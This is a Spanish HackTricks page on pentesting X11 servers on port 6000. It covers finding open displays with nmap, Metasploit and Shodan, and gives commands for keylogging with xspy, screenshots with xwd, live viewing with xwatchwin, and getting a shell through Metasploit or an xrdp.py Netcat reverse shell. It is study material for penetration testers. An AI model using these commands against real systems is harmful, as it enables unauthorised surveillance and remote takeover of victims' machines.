hacktricks/network-services-pentesting/6000-pentesting-x11.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

8.1 KiB
Raw Permalink Blame History

6000 - Pentesting X11

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales de errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones comunitarias

Información básica

El sistema de ventanas X (también conocido como X) es un sistema de ventanas para pantallas de mapas de bits, que es común en sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI. X tampoco impone la interfaz de usuario, ya que los programas individuales manejan esto.
De: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

Puerto predeterminado: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeración

Comprobar si existe una conexión anónima:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Enumeración local

El archivo .Xauthority en la carpeta de inicio del usuario es utilizado por X11 para la autorización. Desde aquí:

MIT-magic-cookie-1: Generando 128 bits de clave ("cookie"), almacenándola en ~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). El cliente la envía al servidor en texto plano. El servidor comprueba si tiene una copia de esta "cookie" y, si es así, se permite la conexión. La clave es generada por DMX.

{% hint style="warning" %} Para usar la cookie debes establecer la variable de entorno: export XAUTHORITY=/ruta/a/.Xauthority {% endhint %}

Verificar conexión

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy para capturar las pulsaciones del teclado.

Ejemplo de salida:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Captura de pantallas

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Vista Remota del Escritorio

Extraído de: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Primero necesitamos encontrar el ID de la ventana usando xwininfo.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Para visualización en vivo necesitamos usar

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Obtener Shell

msf> use exploit/unix/x11/x11_keyboard_exec

Otra forma:

Shell Inverso: Xrdp también permite obtener una shell inversa a través de Netcat. Escriba el siguiente comando:

./xrdp.py <IP:0> no-disp

Se abrirá un nuevo panel de control donde podemos ver la opción de R-shell, que se ilustra a continuación:

Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se ilustra a continuación:

Luego agregue la dirección IP y el puerto y seleccione R-Shell, que se ilustra a continuación:

Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

Shodan

  • port:6000 x11

``

Sigue a HackenProof para aprender más sobre errores web3

🐞 Lee tutoriales sobre errores web3

🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores

💬 Participa en discusiones de la comunidad

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥